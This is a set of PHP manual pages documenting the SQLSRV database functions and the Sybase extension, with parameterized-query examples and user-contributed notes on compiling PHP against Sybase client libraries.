(No version information available, might only be in SVN)

sqlsrv_next_result — Makes the next result of the specified statement active

Description

mixed sqlsrv_next_result ( resource $stmt )

Makes the next result of the specified statement active. Results include result sets, row counts, and output parameters.

Parameters

stmt

The statment on which the next result is being called.

Return Values

Returns TRUE if the next result was successfully retrieved, FALSE if an error occurred, and NULL if there are no more results to retrieve.

Examples

Example #1 sqlsrv_next_result() example

The following example executes a batch query that inserts into a table and then selects from the table. This produces two results on the statement: one for the rows affected by the INSERT and one for the rows returned by the SELECT. To get to the rows returned by the SELECT, sqlsrv_next_result() must be called to move past the first result.

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array("Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

$query = "INSERT INTO Table_1 (id, data) VALUES (?,?); SELECT * FROM TABLE_1;";
$params = array(1, "some data");
$stmt = sqlsrv_query($conn, $query, $params);

// Consume the first result (rows affected by INSERT) without calling sqlsrv_next_result.
echo "Rows affected: ".sqlsrv_rows_affected($stmt)."<br />";

// Move to the next result and display results.
$next_result = sqlsrv_next_result($stmt);
if( $next_result ) {
   while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)){
      echo $row['id'].": ".$row['data']."<br />";
   }
} elseif( is_null($next_result)) {
     echo "No more results.<br />";
} else {
     die(print_r(sqlsrv_errors(), true));
}
?>

See Also

  • sqlsrv_query() - Prepares and executes a query.
  • sqlsrv_fetch_array() - Returns a row as an array
  • sqlsrv_rows_affected() - Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_has_rows
sqlsrv_num_fields
SQLSRV Functions


Retrieves the number of fields (columns) on a statement

sqlsrv_next_result
sqlsrv_num_rows
SQLSRV Functions
PHP Manual

sqlsrv_num_fields

(No version information available, might only be in SVN)

sqlsrv_num_fields — Retrieves the number of fields (columns) on a statement

Description

mixed sqlsrv_num_fields ( resource $stmt )

Retrieves the number of fields (columns) on a statement.

Parameters

stmt

The statment for which the number of fields is returned. sqlsrv_num_fields() can be called on a statement before or after statement execution.

Return Values

Returns the number of fields on success. Returns FALSE otherwise.

Examples

Example #1 sqlsrv_num_fields() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
   die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT * FROM Table_1";
$stmt = sqlsrv_query($conn, $sql);
if( $stmt === false) {
   die( print_r( sqlsrv_errors(), true));
}

$numFields = sqlsrv_num_fields( $stmt );

while( sqlsrv_fetch( $stmt )) {
   // Iterate through the fields of each row.
   for($i = 0; $i < $numFields; $i++) {
   {
      echo sqlsrv_get_field($stmt, $i)." ";
     }
     echo "<br />";
}
?>

See Also

  • sqlsrv_field_metadata() - Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query
  • sqlsrv_fetch() - Makes the next row in a result set available for reading
  • sqlsrv_get_field() - Gets field data from the currently selected row

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_next_result
sqlsrv_num_rows
SQLSRV Functions


Retrieves the number of rows in a result set

sqlsrv_num_fields
sqlsrv_prepare
SQLSRV Functions
PHP Manual

sqlsrv_num_rows

(No version information available, might only be in SVN)

sqlsrv_num_rows — Retrieves the number of rows in a result set

Description

mixed sqlsrv_num_rows ( resource $stmt )

Retrieves the number of rows in a result set. This function requires that the statment resource be created with a static or keyset cursor. For more information, see sqlsrv_query(), sqlsrv_prepare(), or » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

Parameters

stmt

The statement for which the row count is returned. The statment resource must be created with a static or keyset cursor. For more information, see sqlsrv_query(), sqlsrv_prepare(), or » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

Return Values

Returns the number of rows retrieved on success and FALSE if an error occured. If a forward cursor (the default) or dynamic cursor is used, FALSE is returned.

Examples

Example #1 sqlsrv_num_rows() example

<?php
$server = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $server, $connectionInfo );

$sql = "SELECT * FROM Table_1";
$params = array();
$options =  array( "Scrollable" => SQLSRV_CURSOR_KEYSET );
$stmt = sqlsrv_query( $conn, $sql , $params, $options );

$row_count = sqlsrv_num_rows( $stmt );

if ($row_count === false)
   echo "Error in retrieveing row count.";
else
   echo $row_count;
?>

See Also

  • sqlsrv_has_rows() - Indicates whether the specified statement has rows
  • sqlsrv_rows_affected() - Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_num_fields
sqlsrv_prepare
SQLSRV Functions


Prepares a query for execution

sqlsrv_num_rows
sqlsrv_query
SQLSRV Functions
PHP Manual

sqlsrv_prepare

(No version information available, might only be in SVN)

sqlsrv_prepare — Prepares a query for execution

Description

mixed sqlsrv_prepare ( resource $conn , string $sql [, array $params [, array $options ]] )

Prepares a query for execution. This function is ideal for preparing a query that will be executed multiple times with different parameter values.

Parameters

conn

A connection resource returned by sqlsrv_connect().

sql

The string that defines the query to be prepared and executed.

params

An array specifying parameter information when executing a parameterized query. Array elements can be any of the following:

  • A literal value
  • A PHP variable
  • An array with this structure: array($value [, $direction [, $phpType [, $sqlType]]])
The following table describes the elements in the array structure above:

Array structure
Element | Description
$value | A literal value, a PHP variable, or a PHP by-reference variable.
$direction (optional) | One of the following SQLSRV constants used to indicate the parameter direction: SQLSRV_PARAM_IN, SQLSRV_PARAM_OUT, SQLSRV_PARAM_INOUT. The default value is SQLSRV_PARAM_IN.
$phpType (optional) | A SQLSRV_PHPTYPE_* constant that specifies PHP data type of the returned value.
$sqlType (optional) | A SQLSRV_SQLTYPE_* constant that specifies the SQL Server data type of the input value.
options

An array specifing query property options. The supported keys are described in the following table:

Query Options
Key | Values | Description
QueryTimeout | A positive integer value. | Sets the query timeout in seconds. By default, the driver will wait indefinitely for results.
SendStreamParamsAtExec | TRUE or FALSE (the default is TRUE) | Configures the driver to send all stream data at execution (TRUE), or to send stream data in chunks (FALSE). By default, the value is set to TRUE. For more information, see sqlsrv_send_stream_data().
Scrollable | SQLSRV_CURSOR_FORWARD, SQLSRV_CURSOR_STATIC, SQLSRV_CURSOR_DYNAMIC, or SQLSRV_CURSOR_KEYSET | See » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

Return Values

Returns a statement resource on success and FALSE if an error occurred.

Examples

Example #1 sqlsrv_prepare() example

This example demonstrates how to prepare a statement with sqlsrv_prepare() and re-execute it multiple times (with different parameter values) using sqlsrv_execute().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false) {
    die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1
        SET OrderQty = ?
        WHERE SalesOrderID = ?";

// Initialize parameters and prepare the statement.
// Variables $qty and $id are bound to the statement, $stmt.
$qty = 0; $id = 0;
$stmt = sqlsrv_prepare( $conn, $sql, array( &$qty, &$id));
if( !$stmt ) {
    die( print_r( sqlsrv_errors(), true));
}

// Set up the SalesOrderDetailID and OrderQty information.
// This array maps the order ID to order quantity in key=>value pairs.
$orders = array( 1=>10, 2=>20, 3=>30);

// Execute the statement for each order.
foreach( $orders as $id => $qty) {
    // Because $id and $qty are bound to $stmt1, their updated
    // values are used with each execution of the statement.
    if( sqlsrv_execute( $stmt ) === false ) {
          die( print_r( sqlsrv_errors(), true));
    }
}
?>

Notes

When you prepare a statement that uses variables as parameters, the variables are bound to the statement. This means that if you update the values of the variables, the next time you execute the statement it will run with updated parameter values. For statements that you plan to execute only once, use sqlsrv_query().

See Also

  • sqlsrv_execute() - Executes a statement prepared with sqlsrv_prepare
  • sqlsrv_query() - Prepares and executes a query.

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_num_rows
sqlsrv_query
SQLSRV Functions


Prepares and executes a query.

sqlsrv_prepare
sqlsrv_rollback
SQLSRV Functions
PHP Manual

sqlsrv_query

(No version information available, might only be in SVN)

sqlsrv_query — Prepares and executes a query.

Description

mixed sqlsrv_query ( resource $conn , string $sql [, array $params [, array $options ]] )

Prepares and executes a query.

Parameters

conn

A connection resource returned by sqlsrv_connect().

sql

The string that defines the query to be prepared and executed.

params

An array specifying parameter information when executing a parameterized query. Array elements can be any of the following:

  • A literal value
  • A PHP variable
  • An array with this structure: array($value [, $direction [, $phpType [, $sqlType]]])
The following table describes the elements in the array structure above:

Array structure
Element | Description
$value | A literal value, a PHP variable, or a PHP by-reference variable.
$direction (optional) | One of the following SQLSRV constants used to indicate the parameter direction: SQLSRV_PARAM_IN, SQLSRV_PARAM_OUT, SQLSRV_PARAM_INOUT. The default value is SQLSRV_PARAM_IN.
$phpType (optional) | A SQLSRV_PHPTYPE_* constant that specifies PHP data type of the returned value.
$sqlType (optional) | A SQLSRV_SQLTYPE_* constant that specifies the SQL Server data type of the input value.
options

An array specifing query property options. The supported keys are described in the following table:

Query Options
Key | Values | Description
QueryTimeout | A positive integer value. | Sets the query timeout in seconds. By default, the driver will wait indefinitely for results.
SendStreamParamsAtExec | TRUE or FALSE (the default is TRUE) | Configures the driver to send all stream data at execution (TRUE), or to send stream data in chunks (FALSE). By default, the value is set to TRUE. For more information, see sqlsrv_send_stream_data().
Scrollable | SQLSRV_CURSOR_FORWARD, SQLSRV_CURSOR_STATIC, SQLSRV_CURSOR_DYNAMIC, or SQLSRV_CURSOR_KEYSET | See » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

Return Values

Returns a statement resource on success and FALSE if an error occurred.

Examples

Example #1 sqlsrv_query() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "INSERT INTO Table_1 (id, data) VALUES (?, ?)";
$params = array(1, "some data");

$stmt = sqlsrv_query( $conn, $sql, $params);
if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}
?>

Notes

For statements that you plan to execute only once, use sqlsrv_query(). If you intend to re-execute a statement with different parameter values, use the combination of sqlsrv_prepare() and sqlsrv_execute().

See Also

  • sqlsrv_prepare() - Prepares a query for execution
  • sqlsrv_execute() - Executes a statement prepared with sqlsrv_prepare

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_prepare
sqlsrv_rollback
SQLSRV Functions


Rolls back a transaction that was begun with sqlsrv_begin_transaction

sqlsrv_query
sqlsrv_rows_affected
SQLSRV Functions
PHP Manual

sqlsrv_rollback

(No version information available, might only be in SVN)

sqlsrv_rollback — Rolls back a transaction that was begun with sqlsrv_begin_transaction()

Description

bool sqlsrv_rollback ( resource $conn )

Rolls back a transaction that was begun with sqlsrv_begin_transaction() and returns the connection to auto-commit mode.

Parameters

conn

The connection resource returned by a call to sqlsrv_connect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 sqlsrv_rollback() example

The following example demonstrates how to use sqlsrv_begin_transaction() together with sqlsrv_commit() and sqlsrv_rollback().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true ));
}

/* Begin the transaction. */
if ( sqlsrv_begin_transaction( $conn ) === false ) {
     die( print_r( sqlsrv_errors(), true ));
}

/* Initialize parameter values. */
$orderId = 1; $qty = 10; $productId = 100;

/* Set up and execute the first query. */
$sql1 = "INSERT INTO OrdersTable (ID, Quantity, ProductID)
         VALUES (?, ?, ?)";
$params1 = array( $orderId, $qty, $productId );
$stmt1 = sqlsrv_query( $conn, $sql1, $params1 );

/* Set up and execute the second query. */
$sql2 = "UPDATE InventoryTable
         SET Quantity = (Quantity - ?)
         WHERE ProductID = ?";
$params2 = array($qty, $productId);
$stmt2 = sqlsrv_query( $conn, $sql2, $params2 );

/* If both queries were successful, commit the transaction. */
/* Otherwise, rollback the transaction. */
if( $stmt1 && $stmt2 ) {
     sqlsrv_commit( $conn );
     echo "Transaction committed.<br />";
} else {
     sqlsrv_rollback( $conn );
     echo "Transaction rolled back.<br />";
}
?>

See Also

  • sqlsrv_begin_transaction() - Begins a database transaction
  • sqlsrv_commit() - Commits a transaction that was begun with sqlsrv_begin_transaction

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_query
sqlsrv_rows_affected
SQLSRV Functions


Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

sqlsrv_rollback
sqlsrv_send_stream_data
SQLSRV Functions
PHP Manual

sqlsrv_rows_affected

(No version information available, might only be in SVN)

sqlsrv_rows_affected — Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

Description

int sqlsrv_rows_affected ( resource $stmt )

Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed. For information about the number of rows returned by a SELECT query, see sqlsrv_num_rows().

Parameters

stmt

The executed statement resource for which the number of affected rows is returned.

Return Values

Returns the number of rows affected by the last INSERT, UPDATE, or DELETE query. If no rows were affected, 0 is returned. If the number of affected rows cannot be determined, -1 is returned. If an error occured, FALSE is returned.

Examples

Example #1 sqlsrv_rows_affected() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1 SET data = ? WHERE id = ?";

$params = array("updated data", 1);

$stmt = sqlsrv_query( $conn, $sql, $params);

$rows_affected = sqlsrv_rows_affected( $stmt);
if( $rows_affected === false) {
     die( print_r( sqlsrv_errors(), true));
} elseif( $rows_affected == -1) {
      echo "No information available.<br />";
} else {
      echo $rows_affected." rows were updated.<br />";
}
?>

See Also

  • sqlsrv_num_rows() - Retrieves the number of rows in a result set

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_rollback
sqlsrv_send_stream_data
SQLSRV Functions


Sends data from parameter streams to the server

sqlsrv_rows_affected
sqlsrv_server_info
SQLSRV Functions
PHP Manual

sqlsrv_send_stream_data

(No version information available, might only be in SVN)

sqlsrv_send_stream_data — Sends data from parameter streams to the server

Description

bool sqlsrv_send_stream_data ( resource $stmt )

Send data from parameter streams to the server. Up to 8 KB of data is sent with each call.

Parameters

stmt

A statement resource returned by sqlsrv_query() or sqlsrv_execute().

Return Values

Returns TRUE if there is more data to send and FALSE if there is not.

Examples

Example #1 sqlsrv_send_stream_data() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1 SET data = ( ?) WHERE id = 100";

// Open parameter data as a stream and put it in the $params array.
$data = fopen( "data://text/plain,[ Lengthy content here. ]", "r");
$params = array( &$data);

// Prepare the statement. Use the $options array to turn off the
// default behavior, which is to send all stream data at the time of query
// execution.
$options = array("SendStreamParamsAtExec"=>0);
$stmt = sqlsrv_prepare( $conn, $sql, $params, $options);

sqlsrv_execute( $stmt);

// Send up to 8K of parameter data to the server
// with each call to sqlsrv_send_stream_data.
$i = 1;
while( sqlsrv_send_stream_data( $stmt)) {
      $i++;
}
echo "$i calls were made.";
?>

See Also

  • sqlsrv_prepare() - Prepares a query for execution
  • sqlsrv_query() - Prepares and executes a query.

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_rows_affected
sqlsrv_server_info
SQLSRV Functions


Returns information about the server

sqlsrv_send_stream_data
Sybase
SQLSRV Functions
PHP Manual

sqlsrv_server_info

(No version information available, might only be in SVN)

sqlsrv_server_info — Returns information about the server

Description

array sqlsrv_server_info ( resource $conn )

Returns information about the server.

Parameters

conn

The connection resource that connects the client and the server.

Return Values

Returns an array as described in the following table:

Returned Array
CurrentDatabase | The connected-to database.
SQLServerVersion | The SQL Server version.
SQLServerName | The name of the server.

Examples

Example #1 sqlsrv_server_info() example

<?php
$serverName = "serverName\sqlexpress";
$conn = sqlsrv_connect( $serverName);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$server_info = sqlsrv_server_info( $conn);
if( $server_info )
{
    foreach( $server_info as $key => $value) {
       echo $key.": ".$value."<br />";
    }
} else {
      die( print_r( sqlsrv_errors(), true));
}
?>

See Also

  • sqlsrv_client_info() - Returns information about the client and specified connection

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_send_stream_data
Sybase
SQLSRV Functions


Sybase

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Sybase Functions
    • sybase_affected_rows — Gets number of affected rows in last query
    • sybase_close — Closes a Sybase connection
    • sybase_connect — Opens a Sybase server connection
    • sybase_data_seek — Moves internal row pointer
    • sybase_deadlock_retry_count — Sets the deadlock retry count
    • sybase_fetch_array — Fetch row as array
    • sybase_fetch_assoc — Fetch a result row as an associative array
    • sybase_fetch_field — Get field information from a result
    • sybase_fetch_object — Fetch a row as an object
    • sybase_fetch_row — Get a result row as an enumerated array
    • sybase_field_seek — Sets field offset
    • sybase_free_result — Frees result memory
    • sybase_get_last_message — Returns the last message from the server
    • sybase_min_client_severity — Sets minimum client severity
    • sybase_min_error_severity — Sets minimum error severity
    • sybase_min_message_severity — Sets minimum message severity
    • sybase_min_server_severity — Sets minimum server severity
    • sybase_num_fields — Gets the number of fields in a result set
    • sybase_num_rows — Get number of rows in a result set
    • sybase_pconnect — Open persistent Sybase connection
    • sybase_query — Sends a Sybase query
    • sybase_result — Get result data
    • sybase_select_db — Selects a Sybase database
    • sybase_set_message_handler — Sets the handler called when a server message is raised
    • sybase_unbuffered_query — Send a Sybase query and do not block

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_server_info
Introduction
Vendor Specific Database Extensions


Introduction

User Contributed Notes

There are no user contributed notes for this page.
Sybase
Installing/Configuring
Sybase


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Sybase


Requirements

No external libraries are needed to build this extension.

User Contributed Notes

moufid zeribi 28-May-2010 02:12
At this stage I think it's important to mention that among all the problem related to the php_sybase_ct.dll that couldn't be loaded letting you unable to connect to sybase databases via PHP here's where can be the villain. If you don't fail into this, Bravo and you deserve all my respect. I just needed to reinstall PHP with an installer that includes php_sybase_ct.dll, so no need to copy it from somewhere else to the extensions directory. To be more clear I first installed this package php-5.3.2-nts-Win32-VC9-x86.msi which doesn't come with the dll and used instead php-5.3.2-nts-Win32-VC6-x86.msi which comes from http://windows.php.net/download.
The following tool really helped me to find the solution : http://www.dependencywalker.com/, by telling me that php_sybase_ct.dll was missing a specific PHP dll which couldn't be found in the package I installed in the first stage.

Moreover, you have to make sure that you have a proper Sybase client installed with the precious libct.dll. I run Windows 2003 Server - IIS6 - PHP 5.3.2 - OCS-12_5
Installing/Configuring
Installation
Installing/Configuring


Installation

To enable Sybase-DB support configure PHP --with-sybase[=DIR] . DIR is the Sybase home directory, defaults to /home/sybase. To enable Sybase-CT support configure PHP --with-sybase-ct[=DIR] . DIR is the Sybase home directory, defaults to /home/sybase.

Note:

As of PHP 5.3.0, the Sybase extension has been superseded by the sybase_ct extension and is no longer maintained. To continue using sybase you must use the sybase_ct extension.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Sybase configuration options
Name | Default | Changeable | Changelog
sybase.allow_persistent | "1" | PHP_INI_ALL | PHP_INI_ALL in PHP <= 4.0.2. PHP_INI_SYSTEM in PHP <= 4.0.3.
sybase.max_persistent | "-1" | PHP_INI_ALL | PHP_INI_ALL in PHP <= 4.0.2. PHP_INI_SYSTEM in PHP <= 4.0.3.
sybase.max_links | "-1" | PHP_INI_ALL | PHP_INI_ALL in PHP <= 4.0.2. PHP_INI_SYSTEM in PHP <= 4.0.3.
sybase.interface_file | "/usr/sybase/interfaces" | PHP_INI_SYSTEM |
sybase.min_error_severity | "10" | PHP_INI_ALL |
sybase.min_message_severity | "10" | PHP_INI_ALL |
sybase.compatability_mode | "0" | PHP_INI_ALL |
magic_quotes_sybase | "0" | PHP_INI_ALL | Deprecated in PHP 5.3.0. This deprecated feature will certainly be removed in the future.

Here's a short explanation of the configuration directives.

sybase.allow_persistent boolean

Whether to allow persistent Sybase connections.

sybase.max_persistent integer

The maximum number of persistent Sybase connections per process. -1 means no limit.

sybase.max_links integer

The maximum number of Sybase connections per process, including persistent connections. -1 means no limit.

sybase.min_error_severity integer

Minimum error severity to display.

sybase.min_message_severity integer

Minimum message severity to display.

magic_quotes_sybase boolean

If magic_quotes_sybase is on, a single-quote is escaped with a single-quote instead of a backslash if magic_quotes_gpc or magic_quotes_runtime are enabled. This setting is also respected by addslashes() and stripslashes().

Note:

Note that when magic_quotes_sybase is ON it completely overrides magic_quotes_gpc . In this case even when magic_quotes_gpc is enabled neither double quotes, backslashes or NUL's will be escaped.

Warning

This feature has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Sybase-CT configuration options
Name | Default | Changeable | Changelog
sybct.allow_persistent | "1" | PHP_INI_SYSTEM | PHP_INI_ALL in PHP <= 4.0.2. Available since PHP 4.0.2. Removed in PHP 4.0.3.
sybct.max_persistent | "-1" | PHP_INI_SYSTEM | PHP_INI_ALL in PHP <= 4.0.2. Available since PHP 4.0.2. Removed in PHP 4.0.3.
sybct.max_links | "-1" | PHP_INI_SYSTEM | PHP_INI_ALL in PHP <= 4.0.2. Available since PHP 4.0.2. Removed in PHP 4.0.3.
sybct.min_server_severity | "10" | PHP_INI_ALL | Available since PHP 4.0.2. Removed in PHP 4.0.3.
sybct.min_client_severity | "10" | PHP_INI_ALL | Available since PHP 4.0.2. Removed in PHP 4.0.3.
sybct.hostname | NULL | PHP_INI_ALL | Available since PHP 4.0.2. Removed in PHP 4.0.3.
sybct.deadlock_retry_count | "0" | PHP_INI_ALL | Available since PHP 4.3.0.

Here's a short explanation of the configuration directives.

sybct.allow_persistent boolean

Whether to allow persistent Sybase-CT connections. The default is on.

sybct.max_persistent integer

The maximum number of persistent Sybase-CT connections per process. The default is -1 meaning unlimited.

sybct.max_links integer

The maximum number of Sybase-CT connections per process, including persistent connections. The default is -1 meaning unlimited.

sybct.min_server_severity integer

Server messages with severity greater than or equal to sybct.min_server_severity will be reported as warnings. This value can also be set from a script by calling sybase_min_server_severity(). The default is 10 which reports errors of information severity or greater.

sybct.min_client_severity integer

Client library messages with severity greater than or equal to sybct.min_client_severity will be reported as warnings. This value can also be set from a script by calling sybase_min_client_severity(). The default is 10 which effectively disables reporting.

sybct.login_timeout integer

The maximum time in seconds to wait for a connection attempt to succeed before returning failure. Note that if max_execution_time has been exceeded when a connection attempt times out, your script will be terminated before it can take action on failure. The default is one minute.

sybct.timeout integer

The maximum time in seconds to wait for a select_db or query operation to succeed before returning failure. Note that if max_execution_time has been exceeded when an operation times out, your script will be terminated before it can take action on failure. The default is no limit.

sybct.hostname string

The name of the host you claim to be connecting from, for display by sp_who. The default is none.

sybct.deadlock_retry_count int

Allows you to define how often deadlocks are to be retried. The default is 0, value -1 means "forever".

For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Sybase Functions
Sybase


Sybase Functions

Table of Contents

  • sybase_affected_rows — Gets number of affected rows in last query
  • sybase_close — Closes a Sybase connection
  • sybase_connect — Opens a Sybase server connection
  • sybase_data_seek — Moves internal row pointer
  • sybase_deadlock_retry_count — Sets the deadlock retry count
  • sybase_fetch_array — Fetch row as array
  • sybase_fetch_assoc — Fetch a result row as an associative array
  • sybase_fetch_field — Get field information from a result
  • sybase_fetch_object — Fetch a row as an object
  • sybase_fetch_row — Get a result row as an enumerated array
  • sybase_field_seek — Sets field offset
  • sybase_free_result — Frees result memory
  • sybase_get_last_message — Returns the last message from the server
  • sybase_min_client_severity — Sets minimum client severity
  • sybase_min_error_severity — Sets minimum error severity
  • sybase_min_message_severity — Sets minimum message severity
  • sybase_min_server_severity — Sets minimum server severity
  • sybase_num_fields — Gets the number of fields in a result set
  • sybase_num_rows — Get number of rows in a result set
  • sybase_pconnect — Open persistent Sybase connection
  • sybase_query — Sends a Sybase query
  • sybase_result — Get result data
  • sybase_select_db — Selects a Sybase database
  • sybase_set_message_handler — Sets the handler called when a server message is raised
  • sybase_unbuffered_query — Send a Sybase query and do not block

User Contributed Notes

tgburrin 19-Jul-2010 12:41
For ASE 15 you can run $SYBASE/$SYBASE_OCS/scripts/lnsyblibs to create symlinks for the older library names.  Using this instead of cp will presumably not break your installation should you apply something like an EBF.
jeffersonmfs at hotmail dot com 07-Aug-2007 05:52
PHP and Sybase 15

# cat /opt/sybase/SYBASE.sh >> /etc/profile
# exit

Make new logon

# vi /var/build/php-5.2.3/ext/sybase_ct/php_sybase_ct.h

change this line ...
#define CTLIB_VERSION CS_VERSION_100
...to...
#define CTLIB_VERSION CS_VERSION_150

# ln -sd /opt/sybase /home/sybase

# cp /opt/sybase/OCS-15_0/lib/libsybcomn.a     /opt/sybase/OCS-15_0/lib/libcomn.a

# cp /opt/sybase/OCS-15_0/lib/libsybcs.a     /opt/sybase/OCS-15_0/lib/libs.a

# cp /opt/sybase/OCS-15_0/lib/libsybct.a     /opt/sybase/OCS-15_0/lib/libct.a

# cp /opt/sybase/OCS-15_0/lib/libsybintl.a     /opt/sybase/OCS-15_0/lib/libintl.a

The new  file  /etc/ld.so.conf.d/sybase it must have the line

            /opt/sybase/OCS-15_0/lib

# ldconfig

            BUILD PHP

# ./configure --with-apxs2=/usr/sbin/apxs --with-config-file-path=/etc/ --with-sybase-ct=/opt/sybase/OCS-15_0

# make

# make install

# cp php.ini-dist  /etc/php.ini

Change display_erros=On to display_erros=Off

Edit Apache's httpd.conf file to associate .php files with a MIME type:

#
# PHP script support
#
AddType application/x-httpd-php .php
sean dot healey at bayernlb dot co dot uk 28-Oct-2005 03:42
I've finally got PHP 5.0.5 running under Apache2 on Solaris 8 ... connecting to Sybase ASE servers 12.0 and 12.5 using CT-LIB 12.5.

The following was my build procedure -

Build Apache:

./configure \
  --prefix=/usr/local/apache2 \
  --enable-so

make
make install

Edit httpd.conf, adjusting directives to suit the local environment.

Following advice given above, update the Sybase version string in the PHP sybase_ct module header file:

vi /var/build/php-5.0.5/ext/sybase_ct/php_sybase_ct.h

change this line ...
#define CTLIB_VERSION CS_VERSION_100
...to...
#define CTLIB_VERSION CS_VERSION_125

Build PHP:

SYBASE=/..../..../sybase12_5  <<-- path to your Sybase distribution root
SYBASE_OCS=OCS-12_5
LD_LIBRARY_PATH=$SYBASE/$SYBASE_OCS/lib

export SYBASE SYBASE_OCS PATH LD_LIBRARY_PATH

./configure \
  --prefix=/usr/local/php \
  --with-sybase-ct=$SYBASE/$SYBASE_OCS \
  --enable-static=sybase-ct \
  --with-apxs2=/usr/local/apache2/bin/apxs \
  --enable-sysvmsg \
  --enable-sysvsem \
  --enable-sysvshm

make
make test

NOTE: 'make test' will almost certainly fail all of the Sybase functionality, unless you update the test include file to use valid connectivity details for your local server:

vi /var/build/php-5.0.5/ext/sybase_ct/tests/test.inc

  // Change if needed
  define('HOST',     '****');
  define('USER',     '****');
  define('PASSWORD', '****');

make install

Edit Apache's httpd.conf file to associate .php files with a MIME type:

  #
  # PHP script support
  #
  AddType application/x-httpd-php .php .phtml
  AddType application/x-httpd-php-source .phps

Edit the apachectl script, inserting the following variable declarations after environment variables are imported:

  SYBASE=/..../..../sybase12_5
  SYBASE_OCS=OCS-12_5
  LD_LIBRARY_PATH=$SYBASE/$SYBASE_OCS/lib:$LD_LIBRARY_PATH
  export SYBASE SYBASE_OCS LD_LIBRARY_PATH

Ensure you have an 'interfaces' file in the root of your sybase distribution (Above the OCS-12_5 subdirectory), containing a server entry in the following format for each server you want to connect to:

  dataservername_ds
   <tab> master tcp ether <hostname> <port>
   <tab> query tcp ether <hostname> <port>

(if this is your dataserver machine, there will be at least 1 entry already for the local dataserver. It is advisable to install all of the above on a separate machine though, with its own copy of the sybase client)

Cross fingers, and:

apachectl start

If you get 'relocation' errors when starting Apache with the php module configured to load, check the output of 'ldd libphp5.so'. Each of the Sybase libraries should link to files under your Sybase client distribution:

ldd /usr/local/apache2/modules/libphp5.so
    libtcl.so =>     /.../sybase12_5/OCS-12_5/lib/libtcl.so
    libintl.so.1 => /.../sybase12_5/OCS-12_5/lib/libintl.so.1
    libcomn.so => /.../sybase12_5/OCS-12_5/lib/libcomn.so
    libct.so =>      /.../sybase12_5/OCS-12_5/lib/libct.so
    libcs.so =>      /.../sybase12_5/OCS-12_5/lib/libcs.so
    ...
   <snip other libraries>
    ...

If you see 'libintl.so' linking anywhere else, this is likely because the PHP build has incorrectly linked to a slightly different filename - libintl.so.1 - which doesn't exist in the Sybase client. Unfortunately a completely unrelated library of the same name does exist elsewhere in Unix! (Apparently the Sybase version was created before the duplicate was introduced into Unix).

My workaround was to create the following symlink in sybase client library 'lib' directory -

  libintl.so.1 -> ./libintl.so*

